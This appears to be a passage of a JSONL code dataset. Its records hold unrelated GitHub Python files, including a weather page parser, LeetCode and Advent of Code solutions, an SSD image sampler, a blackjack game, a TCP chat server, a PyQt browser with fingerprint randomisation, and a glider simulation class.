sample(range(4000, 5000), len(user_media) + 10)\n shuffle(random_ids)\n scrape_data()\n","repo_name":"WarriorBeat/WarriorBeatCli","sub_path":"src/services/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":5320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"466363279","text":"# Import required libraries\nfrom tkinter import *\nfrom PIL import ImageTk, Image\n\n# Create an instance of tkinter window\ndef rem():\n \n label.after(1000, label.destroy())\n\n\ndef rem1():\n \n \n img1 = ImageTk.PhotoImage(Image.open(\"12.jpg\"))\n\n frame1 = Frame(win, width=600, height=400)\n frame1.pack()\n frame1.place(anchor='center', relx=0.5, rely=0.5)\n label1 = Label(win, image = img1)\n label1.pack()\n\nwin = Tk()\n\n# Define the geometry of the window\nwin.geometry(\"700x500\")\n\nframe = Frame(win, width=600, height=400)\nframe.pack()\nframe.place(anchor='center', relx=0.5, rely=0.5)\n\n# Create an object of tkinter ImageTk\nimg = ImageTk.PhotoImage(Image.open(\"11.jpg\"))\n\n# Create a Label Widget to display the text or Image\nlabel = Label(frame, image = img)\nlabel.pack()\nButton(text=\"remove failed\",command=rem).pack()\nButton(text=\" failed\",command=rem1).pack()\n\nwin.mainloop()","repo_name":"absaralam5432/absaralam5432","sub_path":"testing/t3.py","file_name":"t3.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43591170997","text":"from weboob.tools.browser import BasePage\nfrom weboob.capabilities.weather import Forecast, Current, City\n\nimport datetime\n\n\n__all__ = ['WeatherPage', 'CityPage']\n\n\nclass WeatherPage(BasePage):\n def get_temp_without_unit(self, temp_str):\n # It seems that the mechanize module give us some old style\n # ISO character\n return int(temp_str.replace(u\"\\xb0C\", \"\").strip())\n\n def iter_forecast(self):\n for div in self.document.getiterator('li'):\n if div.attrib.get('class', '').startswith('jour'):\n mdate = div.xpath('./dl/dt')[0].text\n t_low = self.get_temp_without_unit(div.xpath('.//dd[@class=\"minmax\"]/strong')[0].text)\n t_high = self.get_temp_without_unit(div.xpath('.//dd[@class=\"minmax\"]/strong')[1].text)\n mtxt = div.xpath('.//dd')[0].text\n yield Forecast(mdate, t_low, t_high, mtxt, 'C')\n elif div.attrib.get('class', '').startswith('lijourle'):\n for em in div.getiterator('em'):\n templist = em.text_content().split(\"/\")\n\n t_low = self.get_temp_without_unit(templist[0])\n t_high = self.get_temp_without_unit(templist[1])\n break\n for strong in div.getiterator(\"strong\"):\n mdate = strong.text_content()\n break\n for img in div.getiterator(\"img\"):\n mtxt = img.attrib[\"title\"]\n break\n yield Forecast(mdate, t_low, t_high, mtxt, \"C\")\n\n def get_current(self):\n div = self.document.getroot().xpath('//div[@class=\"bloc_details\"]/ul/li/dl')[0]\n mdate = datetime.datetime.now()\n temp = self.get_temp_without_unit(div.xpath('./dd[@class=\"minmax\"]')[0].text)\n mtxt = div.find('dd').find('img').attrib['title']\n return Current(mdate, temp, mtxt, 'C')\n\n def get_city(self):\n \"\"\"\n Return the city from the forecastpage.\n \"\"\"\n for div in self.document.getiterator('div'):\n if div.attrib.get(\"class\", \"\") == \"choix\":\n for strong in div.getiterator(\"strong\"):\n city_name = strong.text + \" \" + strong.tail.replace(\"(\", \"\").replace(\")\", \"\")\n city_id = self.url.split(\"/\")[-1]\n return City(city_id, city_name)\n\n\nclass CityPage(BasePage):\n def iter_city_search(self):\n for div in self.document.getiterator('div'):\n if div.attrib.get('id') == \"column1\":\n for li in div.getiterator('li'):\n city_name = li.text_content()\n for children in li.getchildren():\n city_id = children.attrib.get(\"href\").split(\"/\")[-1]\n mcity = City(city_id, city_name)\n yield mcity\n","repo_name":"franek/weboob","sub_path":"modules/meteofrance/pages/meteo.py","file_name":"meteo.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17190773771","text":"# Write a function that takes a string as input and reverse only the vowels of a string.\n#\n# Example 1:\n# Given s = \"hello\", return \"holle\".\n#\n# Example 2:\n# Given s = \"leetcode\", return \"leotcede\".\n#\n# Note:\n# The vowels does not include the letter \"y\".\n\n\ndef reverseVowels(s):\n lstr = list(s)\n i = 0\n j = len(lstr) - 1\n vowels = ('a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U')\n while i < j:\n while i < j and lstr[i] not in vowels:\n i = i + 1\n while i < j and lstr[j] not in vowels:\n j = j - 1\n lstr[i], lstr[j] = lstr[j], lstr[i]\n # print(i, j)\n i = i + 1\n j = j - 1\n return ''.join(lstr)\n\n\nif __name__ == '__main__':\n print(reverseVowels('hello'))\n","repo_name":"gauravtatke/codetinkering","sub_path":"leetcode/LC345_reverse_vowelsof_string.py","file_name":"LC345_reverse_vowelsof_string.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26798504369","text":"import numpy as np\nfrom tool.runners.python import SubmissionPy\n\n\nclass SilvestreSubmission(SubmissionPy):\n\n def run(self, s):\n \"\"\"don't cover a side case\"\"\"\n points = np.array([line.split(', ') for line in s.splitlines()], dtype=\"int16\")\n x_min, y_min = np.min(points, axis=0)\n x_max, y_max = np.max(points, axis=0)\n\n ret = 0\n for i in range(x_min, x_max+1):\n for j in range(y_min, y_max+1):\n if np.abs(points - [i, j]).sum() < 10000:\n ret += 1\n return ret\n\n","repo_name":"badouralix/adventofcode-2018","sub_path":"day-06/part-2/silvestre.py","file_name":"silvestre.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"31"} +{"seq_id":"70698070809","text":"# --------------------------------------------------------\r\n# SSD @ Dragon\r\n# Copyright(c) 2017 SeetaTech\r\n# Written by Ting Pan\r\n# --------------------------------------------------------\r\n\r\nimport numpy as np\r\nimport numpy.random as npr\r\nfrom six.moves import xrange\r\n\r\nfrom core.utils.bbox_transform import clip_boxes\r\n\r\n\r\nclass Sampler(object):\r\n def __init__(self, samplers):\r\n if not isinstance(samplers, list): samplers = [samplers]\r\n self._samplers = []\r\n for sampler in samplers:\r\n sample_param = sampler.get('sampler', None)\r\n max_trials = sampler.get('max_trials', None)\r\n max_sample = sampler.get('max_sample', None)\r\n if sample_param is None or \\\r\n max_trials is None or \\\r\n max_sample is None: continue\r\n self._samplers.append(sampler)\r\n\r\n def _compute_overlap(self, rand_box, query_box):\r\n overlap = 0.0\r\n iw = min(rand_box[2], query_box[2]) \\\r\n - max(rand_box[0], query_box[0])\r\n if iw > 0:\r\n ih = min(rand_box[3], query_box[3]) \\\r\n - max(rand_box[1], query_box[1])\r\n if ih > 0:\r\n ua = float((rand_box[2] - rand_box[0]) * (rand_box[3] - rand_box[1])\r\n + (query_box[2] - query_box[0]) * (query_box[3] - query_box[1])\r\n - iw * ih)\r\n overlap = iw * ih / ua\r\n return overlap\r\n\r\n def _compute_overlaps(self, rand_box, gt_boxes):\r\n K = len(gt_boxes)\r\n overlaps = np.zeros((K,), dtype=np.float32)\r\n for k in range(K):\r\n box_area = (\r\n (gt_boxes[k, 2] - gt_boxes[k, 0]) *\r\n (gt_boxes[k, 3] - gt_boxes[k, 1]))\r\n iw = min(rand_box[2], gt_boxes[k, 2]) - \\\r\n max(rand_box[0], gt_boxes[k, 0])\r\n if iw > 0:\r\n ih = min(rand_box[3], gt_boxes[k, 3]) - \\\r\n max(rand_box[1], gt_boxes[k, 1])\r\n if ih > 0:\r\n ua = float(\r\n (rand_box[2] - rand_box[0]) *\r\n (rand_box[3] - rand_box[1]) +\r\n box_area - iw * ih)\r\n overlaps[k] = iw * ih / ua\r\n return overlaps\r\n\r\n def _generate_sample(self, sample_param):\r\n min_scale = sample_param.get('min_scale', 1.0)\r\n max_scale = sample_param.get('max_scale', 1.0)\r\n scale = npr.uniform(min_scale, max_scale)\r\n min_aspect_ratio = sample_param.get('min_aspect_ratio', 1.0)\r\n max_aspect_ratio = sample_param.get('max_aspect_ratio', 1.0)\r\n min_aspect_ratio = max(min_aspect_ratio, scale**2)\r\n max_aspect_ratio = min(max_aspect_ratio, 1.0 / (scale**2))\r\n aspect_ratio = npr.uniform(min_aspect_ratio, max_aspect_ratio)\r\n bbox_w = scale * (aspect_ratio ** 0.5)\r\n bbox_h = scale / (aspect_ratio ** 0.5)\r\n w_off = npr.uniform(0.0, float(1 - bbox_w))\r\n h_off = npr.uniform(0.0, float(1 - bbox_h))\r\n return np.array([w_off, h_off, w_off + bbox_w, h_off + bbox_h])\r\n\r\n def _check_satisfy(self, sample_box, gt_boxes, constraint):\r\n min_jaccard_overlap = constraint.get('min_jaccard_overlap', None)\r\n max_jaccard_overlap = constraint.get('max_jaccard_overlap', None)\r\n if min_jaccard_overlap == None and \\\r\n max_jaccard_overlap == None:\r\n return True\r\n\r\n for gt_box in gt_boxes:\r\n overlap = self._compute_overlap(sample_box, gt_box)\r\n if min_jaccard_overlap is not None:\r\n if overlap < min_jaccard_overlap: continue\r\n if max_jaccard_overlap is not None:\r\n if overlap > max_jaccard_overlap: continue\r\n return True\r\n\r\n return False\r\n\r\n def _generate_batch_samples(self, gt_boxes):\r\n sample_boxes = []\r\n for sampler in self._samplers:\r\n found = 0\r\n for i in xrange(sampler['max_trials']):\r\n if found >= sampler['max_sample']: break\r\n sample_box = self._generate_sample(sampler['sampler'])\r\n if 'sample_constraint' in sampler:\r\n ok = self._check_satisfy(sample_box, gt_boxes,\r\n sampler['sample_constraint'])\r\n if not ok: continue\r\n found += 1\r\n sample_boxes.append(sample_box)\r\n return sample_boxes\r\n\r\n def _rand_crop(self, im, rand_box, gt_boxes=None):\r\n im_h = im.shape[0]\r\n im_w = im.shape[1]\r\n w_off = int(rand_box[0] * im_w)\r\n h_off = int(rand_box[1] * im_h)\r\n crop_w = int((rand_box[2] - rand_box[0]) * im_w)\r\n crop_h = int((rand_box[3] - rand_box[1]) * im_h)\r\n\r\n new_im = im[h_off: h_off + crop_h, w_off: w_off + crop_w, :]\r\n\r\n if gt_boxes is not None:\r\n #ctr_x = (gt_boxes[:, 2] + gt_boxes[:, 0]) / 2.0\r\n #ctr_y = (gt_boxes[:, 3] + gt_boxes[:, 1]) / 2.0\r\n xmin = gt_boxes[:, 0]\r\n ymin = gt_boxes[:, 1]\r\n xmax = gt_boxes[:, 2]\r\n ymax = gt_boxes[:, 3]\r\n # keep the ground-truth box whose center is in the sample box\r\n # implement ``EmitConstraint.CENTER`` in the original SSD\r\n # by lz.\r\n # keep the ground-truth box whose min max point is in the sample box and\r\n #keep_inds = np.where((ctr_x >= rand_box[0]) & (ctr_x <= rand_box[2])\r\n #& (ctr_y >= rand_box[1]) & (ctr_y <= rand_box[3]))[0]\r\n keep_inds = np.where((xmin >= rand_box[0]) & (xmax <= rand_box[2])\r\n & (ymin >= rand_box[1]) & (ymax <= rand_box[3]))[0]\r\n gt_boxes = gt_boxes[keep_inds]\r\n new_gt_boxes = gt_boxes.astype(gt_boxes.dtype, copy=True)\r\n new_gt_boxes[:, 0:-1:2] = (gt_boxes[:, 0:-1:2] * im_w - w_off)\r\n new_gt_boxes[:, 1::2] = (gt_boxes[:, 1::2] * im_h - h_off)\r\n new_gt_boxes = clip_boxes(new_gt_boxes, (crop_h, crop_w))\r\n new_gt_boxes[:, 0:-1:2] = new_gt_boxes[:, 0:-1:2] / crop_w\r\n new_gt_boxes[:, 1::2] = new_gt_boxes[:, 1::2] / crop_h\r\n\r\n return new_im, new_gt_boxes\r\n\r\n return new_im, gt_boxes\r\n\r\n def sample_image(self, im, gt_boxes):\r\n sample_boxes = self._generate_batch_samples(gt_boxes)\r\n if len(sample_boxes) > 0:\r\n # apply sampling if found at least one valid sample box\r\n # then randomly pick one\r\n sample_idx = npr.randint(0, len(sample_boxes))\r\n rand_box = sample_boxes[sample_idx]\r\n im, gt_boxes = self._rand_crop(im, rand_box, gt_boxes)\r\n return im, gt_boxes","repo_name":"lz20061213/SSD-QUAD-LMDB","sub_path":"core/preprocessing/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":6782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26310148229","text":"import random\nfrom art import logo\nfrom replit import clear\n\n\ndef deal_card():\n # returns a random card from the deck\n cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n choice = random.choice(cards)\n return choice\n\n\ndef calculate_score(list):\n #a function to calculate score for a given list\n total = sum(list)\n if total == 21:\n return 0\n if total > 21 and 11 in list:\n list.remove(11)\n list.append(1)\n return total\n\n\ndef compare(user_score, computer_score):\n#function to compare scores\n if user_score > 21 and computer_score > 21:\n return \"You went over. You lose 😤\"\n\n\n if user_score == computer_score:\n return \"Draw 🙃\"\n elif computer_score == 0:\n return \"Lose, opponent has Blackjack 😱\"\n elif user_score == 0:\n return \"Win with a Blackjack 😎\"\n elif user_score > 21:\n return \"You went over. You lose 😭\"\n elif computer_score > 21:\n return \"Opponent went over. You win 😁\"\n elif user_score > computer_score:\n return \"You win 😃\"\n else:\n return \"You lose 😤\"\n\nplay = True\ndef play_game():\n #print logo\n print(logo)\n #create an empty list for user cards andy computer cards\n user_cards = []\n computer_cards = []\n\n #distribut cards to players by randomly picking from a deck of cards\n for i in range(2):\n user_cards.append(deal_card())\n computer_cards.append(deal_card())\n\n #print user and computer choice to give the chance for the user to decide\n\n\n\n #a loop to ask the user if they need more cards\n game_over = False\n while not game_over:\n #calculate scores\n user_score = calculate_score(user_cards)\n computer_score = calculate_score(computer_cards)\n print(f\"your cards are {user_cards}\")\n print(f\"the computer cards are {computer_cards[0]}\")\n\n if user_score == 0 or computer_score == 0 or user_score>21:\n game_over = True\n else:\n contin = input(\"would you like to have another card?\")\n if contin == \"y\":\n user_cards.append(deal_card())\n else:\n game_over = True\n\n #loop to give the computer cards while <17\n while computer_score !=0 and computer_score < 17:\n computer_cards.append(deal_card())\n computer_score = calculate_score(computer_cards)\n\n \n\n\n result = compare(user_score, computer_score)\n\n print(f\" Your final hand: {user_cards}, final score: {user_score}\")\n print(f\" Computer's final hand: {computer_cards}, final score: {computer_score}\")\n print(compare(user_score, computer_score))\nplay = True\nwhile input(\"do you wanna play a game of black jack? please press 'y' for yes or 'n' for no\") == \"y\":\n clear() \n play_game() \n\n\n","repo_name":"ashxia/blackjack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40193084816","text":"from socket import *\nhost = '127.0.0.1'\nport = 3302\nadd = (host,port)\ntcp_socket = socket(AF_INET,SOCK_STREAM)\ntcp_socket.bind(add)\ntcp_socket.listen(3)\nprint('等待客户端连接')\ntcp_clisock , cli_add = tcp_socket.accept()\nprint('接收来自%s的连接',(cli_add,))\nwhile True:\n data = tcp_clisock.recv(1024)\n if not data:\n break\n print(data.decode('utf-8'))\n mas = input('服务器输入:')\n tcp_clisock.send(mas.encode('utf-8'))\ntcp_socket.close()","repo_name":"xiaolcqbug/aiai","sub_path":"张岩/八月月考机试(张岩)/八月机试 (网络通信tcp 服务器).py","file_name":"八月机试 (网络通信tcp 服务器).py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13735635632","text":"'''\nQuestion: \n 253. Meeting Rooms II\n\nDescrition: \n Given an array of meeting time intervals consisting of start and end times [[s1,e1],[s2,e2],...] (si < ei), \n find the minimum number of conference rooms required.\n\nExamples:\n\n 1.Input: [[0, 30],[5, 10],[15, 20]]\n Output: 2\n\n 2.Input: [[7,10],[2,4]]\n Output: 1\n'''\n\n#Python3 Code:\n\n# Definition for an interval.\n# class Interval:\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution:\n def minMeetingRooms(self, intervals: List[Interval]) -> int:\n #Solution\n #是用heap[0]而不是heap[-1],因为若intervals=[[0,30],[5,10],[15,20]]\n #到i=[15,20]时,heap=[30,10],这时候若拿的是heap[-1]=30,记住python中是最小堆\n #应该拿heap[0]=10,判断10<=15,则这个i可以和上个i共用同个房间\n if not intervals:\n return 0\n intervals.sort(key=lambda x:x.start)\n heap = []\n for i in intervals:\n if heap and heap[0] <= i.start:\n heapq.heapreplace(heap, i.end)\n else:\n heapq.heappush(heap, i.end)\n return len(heap)\n\n ","repo_name":"ChenxiiCheng/Python-LC-Solution","sub_path":"Q253-Meeting Rooms II-Medium.py","file_name":"Q253-Meeting Rooms II-Medium.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"33135431346","text":"from PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWebEngineWidgets import *\nfrom PyQt5.QtPrintSupport import *\n\nfrom fingerprint_changer import *\n\nimport os\nimport sys\n\n\nclass AboutDialog(QDialog):\n def __init__(self, *args, **kwargs):\n super(AboutDialog, self).__init__(*args, **kwargs)\n\n QBtn = QDialogButtonBox.Ok\n self.buttonBox = QDialogButtonBox(QBtn)\n self.buttonBox.accepted.connect(self.accept)\n self.buttonBox.rejected.connect(self.reject)\n\n layout = QVBoxLayout()\n\n title = QLabel(\"RinasBrowser\")\n font = title.font()\n font.setPointSize(20)\n title.setFont(font)\n\n layout.addWidget(title)\n\n logo = QLabel()\n logo.setPixmap(QPixmap(os.path.join('images', 'ma-icon-128.png')))\n layout.addWidget(logo)\n\n layout.addWidget(QLabel(\"Версия 1.0\"))\n layout.addWidget(QLabel(\"Информационная безопасность 2020\"))\n\n for i in range(0, layout.count()):\n layout.itemAt(i).setAlignment(Qt.AlignHCenter)\n\n layout.addWidget(self.buttonBox)\n\n self.setLayout(layout)\n\n\nclass MainWindow(QMainWindow):\n def __init__(self, *args, **kwargs):\n super(MainWindow, self).__init__(*args, **kwargs)\n\n self.screenShape = QDesktopWidget().screenGeometry()\n self.width = self.screenShape.width()\n self.height = self.screenShape.height()\n\n self.browser = QWebEngineView()\n self.browser.setUrl(QUrl(\"http://google.com\"))\n self.browser.urlChanged.connect(self.update_urlbar)\n self.browser.loadFinished.connect(self.update_title)\n self.setCentralWidget(self.browser)\n\n self.status = QStatusBar()\n self.setStatusBar(self.status)\n\n navtb = QToolBar(\"Навигация\")\n navtb.setIconSize(QSize(16, 16))\n self.addToolBar(navtb)\n\n back_btn = QAction(QIcon(os.path.join('images', 'arrow-180.png')), \"Вернуться на предыдущую страницу\", self)\n back_btn.setStatusTip(\"Вернуться на предыдущую страницу\")\n back_btn.triggered.connect(self.browser.back)\n navtb.addAction(back_btn)\n\n next_btn = QAction(QIcon(os.path.join('images', 'arrow-000.png')), \"Вернуться на следующую страницу\", self)\n next_btn.setStatusTip(\"Вернуться на следующую страницу\")\n next_btn.triggered.connect(self.browser.forward)\n navtb.addAction(next_btn)\n\n reload_btn = QAction(QIcon(os.path.join('images', 'arrow-circle-315.png')), \"Перезагрузить страницу\", self)\n reload_btn.setStatusTip(\"Перезагрузить страницу\")\n reload_btn.triggered.connect(self.browser.reload)\n navtb.addAction(reload_btn)\n\n home_btn = QAction(QIcon(os.path.join('images', 'home.png')), \"Домашняя страница\", self)\n home_btn.setStatusTip(\"Домашняя страница\")\n home_btn.triggered.connect(self.navigate_home)\n navtb.addAction(home_btn)\n\n change_btn = QAction(\"Изменить браузерный отпечаток\", self)\n change_btn.setStatusTip(\"Изменить браузерный отпечаток\")\n change_btn.setFont(QFont(\"Times\", 10))\n change_btn.triggered.connect(self.change_fingerprint)\n navtb.addAction(change_btn)\n\n navtb.addSeparator()\n\n self.httpsicon = QLabel()\n self.httpsicon.setPixmap(QPixmap(os.path.join('images', 'lock-nossl.png')))\n navtb.addWidget(self.httpsicon)\n\n self.urlbar = QLineEdit()\n self.urlbar.returnPressed.connect(self.navigate_to_url)\n navtb.addWidget(self.urlbar)\n\n stop_btn = QAction(QIcon(os.path.join('images', 'cross-circle.png')), \"Стоп\", self)\n stop_btn.setStatusTip(\"Остановить загрузку страницы\")\n stop_btn.triggered.connect(self.browser.stop)\n navtb.addAction(stop_btn)\n\n file_menu = self.menuBar().addMenu(\"&Файл\")\n\n open_file_action = QAction(QIcon(os.path.join('images', 'disk--arrow.png')), \"Открыть файл...\", self)\n open_file_action.setStatusTip(\"Открыть файл\")\n open_file_action.triggered.connect(self.open_file)\n file_menu.addAction(open_file_action)\n\n save_file_action = QAction(QIcon(os.path.join('images', 'disk--pencil.png')), \"Сохранить страницу как...\", self)\n save_file_action.setStatusTip(\"Сохранить текущую страницу как...\")\n save_file_action.triggered.connect(self.save_file)\n file_menu.addAction(save_file_action)\n\n print_action = QAction(QIcon(os.path.join('images', 'printer.png')), \"Распечатать...\", self)\n print_action.setStatusTip(\"Распечатать текущую страницу...\")\n print_action.triggered.connect(self.print_page)\n file_menu.addAction(print_action)\n\n help_menu = self.menuBar().addMenu(\"&Помощь\")\n\n about_action = QAction(QIcon(os.path.join('images', 'question.png')), \"О браузере...\", self)\n about_action.setStatusTip(\"Узнать больше о RinasBrowser...\")\n about_action.triggered.connect(self.about)\n help_menu.addAction(about_action)\n\n navigate_action = QAction(QIcon(os.path.join('images', 'lifebuoy.png')), \"RinasBrowser - Домашняя страница\", self)\n navigate_action.setStatusTip(\"Перейти на домашнюю страницу RinasBrowser\")\n navigate_action.triggered.connect(self.navigate_rinasbrowser)\n help_menu.addAction(navigate_action)\n\n self.show()\n self.setWindowIcon(QIcon(os.path.join('images', 'ma-icon-64.png')))\n\n def random_settings(self):\n true_false = [True, False]\n self.browser.page().profile().clearAllVisitedLinks()\n self.browser.page().profile().clearHttpCache()\n self.browser.page().profile().setHttpCacheType(QWebEngineProfile.NoCache)\n self.browser.page().profile().setPersistentCookiesPolicy(QWebEngineProfile.NoPersistentCookies)\n self.browser.page().settings().setAttribute(QWebEngineSettings.AutoLoadImages, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.JavascriptEnabled, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.JavascriptCanOpenWindows, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.JavascriptCanAccessClipboard, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.PluginsEnabled, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.WebGLEnabled, random.choice(true_false))\n self.browser.page().settings().setAttribute(QWebEngineSettings.Accelerated2dCanvasEnabled, random.choice(true_false))\n\n def random_time(self):\n # time_zone = random.choice(QTimeZone.availableTimeZoneIds())\n # print(QTimeZone.ianaIdToWindowsId(time_zone))\n # print(QTimeZone.systemTimeZone())\n print(self.QDateTime.date())\n\n def change_fingerprint(self):\n self.random_settings()\n self.random_time()\n change_user_agent(self)\n generate_accept_language(self)\n change_screen_size(self, self.width, self.height)\n print('Браузерные отпечатки были успешно изменены!')\n separator()\n\n def update_title(self):\n title = self.browser.page().title()\n self.setWindowTitle(\"%s - RinasBrowser\" % title)\n\n def navigate_rinasbrowser(self):\n self.browser.setUrl(QUrl(\"https://vk.com/khuysosi13\"))\n\n @staticmethod\n def about():\n dlg = AboutDialog()\n dlg.exec_()\n\n def open_file(self):\n filename, _ = QFileDialog.getOpenFileName(self, \"Открыть файл\", \"\",\n \"Hypertext Markup Language (*.htm *.html);;\"\n \"Все файлы (*.*)\")\n\n if filename:\n with open(filename, 'r') as f:\n html = f.read()\n\n self.browser.setHtml(html)\n self.urlbar.setText(filename)\n\n def save_file(self):\n filename, _ = QFileDialog.getSaveFileName(self, \"Сохранить страницу как...\", \"\",\n \"Hypertext Markup Language (*.htm *html);;\"\n \"Все файлы (*.*)\")\n\n if filename:\n html = self.browser.page().toHtml()\n with open(filename, 'w') as f:\n f.write(html)\n\n def print_page(self):\n dlg = QPrintPreviewDialog()\n dlg.paintRequested.connect(self.browser.print_)\n dlg.exec_()\n\n def navigate_home(self):\n self.browser.setUrl(QUrl(\"http://www.google.com\"))\n\n def navigate_to_url(self):\n q = QUrl(self.urlbar.text())\n if q.scheme() == \"\":\n q.setScheme(\"http\")\n\n self.browser.setUrl(q)\n\n def update_urlbar(self, q):\n if q.scheme() == 'https':\n self.httpsicon.setPixmap(QPixmap(os.path.join('images', 'lock-ssl.png')))\n\n else:\n self.httpsicon.setPixmap(QPixmap(os.path.join('images', 'lock-nossl.png')))\n\n self.urlbar.setText(q.toString())\n self.urlbar.setCursorPosition(0)\n\n\napp = QApplication(sys.argv)\napp.setApplicationName(\"RinasBrowser\")\napp.setOrganizationName(\"RinasBrowser\")\napp.setOrganizationDomain(\"RinasBrowser.org\")\n\nwindow = MainWindow()\nwindow.showMaximized()\n\napp.exec_()\n","repo_name":"oskarmenrus/web_fingerprint_changer","sub_path":"browser.py","file_name":"browser.py","file_ext":"py","file_size_in_byte":9860,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39104310011","text":"# user/scripts/load_reviews.py\nimport csv\nfrom user.models import Hospital_Reviews\n\n# Assuming your CSV file is named hospital_reviews.csv\ncsv_file_path = \"/Users/shreya/desktop/hospital_reviews.csv\"\n\nwith open(csv_file_path, \"r\") as csv_file:\n reader = csv.DictReader(csv_file)\n for row in reader:\n hospital_name = row[\"hospital_name\"]\n\n # Assuming your CSV columns are: review_from, rating, likes, description\n review_from = row[\"review_from\"]\n rating = int(row[\"rating\"])\n likes = row[\"likes\"]\n description = row[\"description\"]\n\n review = Hospital_Reviews.objects.create(\n hospital_name=hospital_name,\n review_from=review_from,\n rating=rating,\n likes=likes,\n description=description,\n )\n review.save()\n","repo_name":"gcivil-nyu-org/Wednesday-Fall2023-Team-6","sub_path":"user/scripts/load_reviews.py","file_name":"load_reviews.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"70920681689","text":"class Solution:\r\n def isPowerOfTwo(self, n: int) -> bool:\r\n power=0\r\n temp=0\r\n while temp <=n:\r\n temp=math.pow(2,power)\r\n if temp==n:\r\n return True\r\n power+=1 #thhis will help us iterate through all the numbers till n \r\n return False","repo_name":"Merwin-Rebello/50days-Hchallenge","sub_path":"day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29742407915","text":"from dataclasses import dataclass, field\nfrom typing import Any\n\nimport mediapy as media\nimport numpy as np\nimport trimesh\n\nimport glider.visualization as visualization\n\nfrom .constants import (DEFAULT_MAX_WING_DIMENSION_M, MUTATION_CHANCE,\n MUTATION_RATIO, WING_DENSITY, WING_RGBA,\n PILOT_RGBA, PILOT_DIMENSIONS_M, PILOT_MASS_KG,\n create_pilot_geom)\n\n\n@dataclass\nclass VehicleConfig:\n num_vertices: int = 30\n max_dim_m: float = DEFAULT_MAX_WING_DIMENSION_M\n pilot: bool = False\n mass_kg: float | None = None\n wing_density: float = WING_DENSITY\n orientation: list[float] = field(default_factory=lambda: [0.0, 0.0, 0.0])\n\n\nclass Vehicle:\n \"\"\"\n Class responsible for generating the XML for a vehicle.\n\n Args:\n vertices (list): A list of vertices for the main wing.\n faces (list): Lists of indices for the vertices,\n which define triangluar faces for the mesh.\n Clockwise order is assumed.\n num_vertices (int): A number of vertices to randomly generate.\n This is ignored if 'vertices' is defined.\n Defaults to 30.\n max_dim_m (float): The maximum wing dimension of the vehicle.\n Default: contants.DEFAULT_MAX_WING_DIMENSION_M.\n pilot (bool): Adds a human-sized pilot to the vehicle.\n Defaults to False.\n mass_kg (float): Explicitely sets the mass of the wing.\n If not defined, the wing density is set\n to constants.WING_DENSITY.\n Defaults to None.\n wing_density (float): The material density for the wing.\n Ignored if 'mass_kg' is defined explicitely.\n Defaults to constants.WING_DENSITY.\n orientation (list): Specify a custom orientation with euler angles.\n \"\"\"\n\n def __init__(\n self,\n vertices: list | None = None,\n faces: list | None = None,\n num_vertices: int = 30,\n max_dim_m: float = DEFAULT_MAX_WING_DIMENSION_M,\n pilot: bool = False,\n wing_density: float = WING_DENSITY,\n mass_kg: float | None = None,\n orientation: list[float] = [0.0, 0.0, 0.0],\n ):\n super(Vehicle, self).__init__()\n\n self.max_dim_m = max_dim_m\n self.mass_kg = mass_kg\n self.orientation = orientation\n self.wing_density = wing_density\n self.faces = faces if faces else []\n self.pilot = pilot\n\n if vertices is not None:\n self.vertices = vertices\n else:\n self.initialize_vertices(num_vertices, max_dim_m)\n\n def config(self) -> VehicleConfig:\n return VehicleConfig(\n max_dim_m=self.max_dim_m,\n pilot=self.pilot,\n mass_kg=self.mass_kg,\n wing_density=self.wing_density,\n orientation=self.orientation,\n )\n\n def initialize_vertices(self, num_points: int, max_dim_m: float) -> None:\n self.vertices = []\n for _ in range(num_points):\n vertex = []\n for _ in range(3):\n vertex.append(np.random.random() * max_dim_m)\n self.vertices.append(vertex)\n\n def mutate(self) -> list[list[float]]:\n retries = 10\n\n for _ in range(retries):\n new_vertices = []\n new_vertex = []\n\n for vertex in self.vertices:\n new_vertex: list[float] = list() # type: ignore\n for dim in vertex:\n if np.random.random() < MUTATION_CHANCE:\n dim += (\n self.max_dim_m * MUTATION_RATIO * np.random.choice((-1, 1))\n )\n new_vertex.append(dim)\n new_vertices.append(new_vertex)\n\n if not Vehicle(new_vertices).exceeds_max_dim():\n return new_vertices\n else:\n continue\n\n return self.vertices\n\n def clone(self) -> Any:\n return 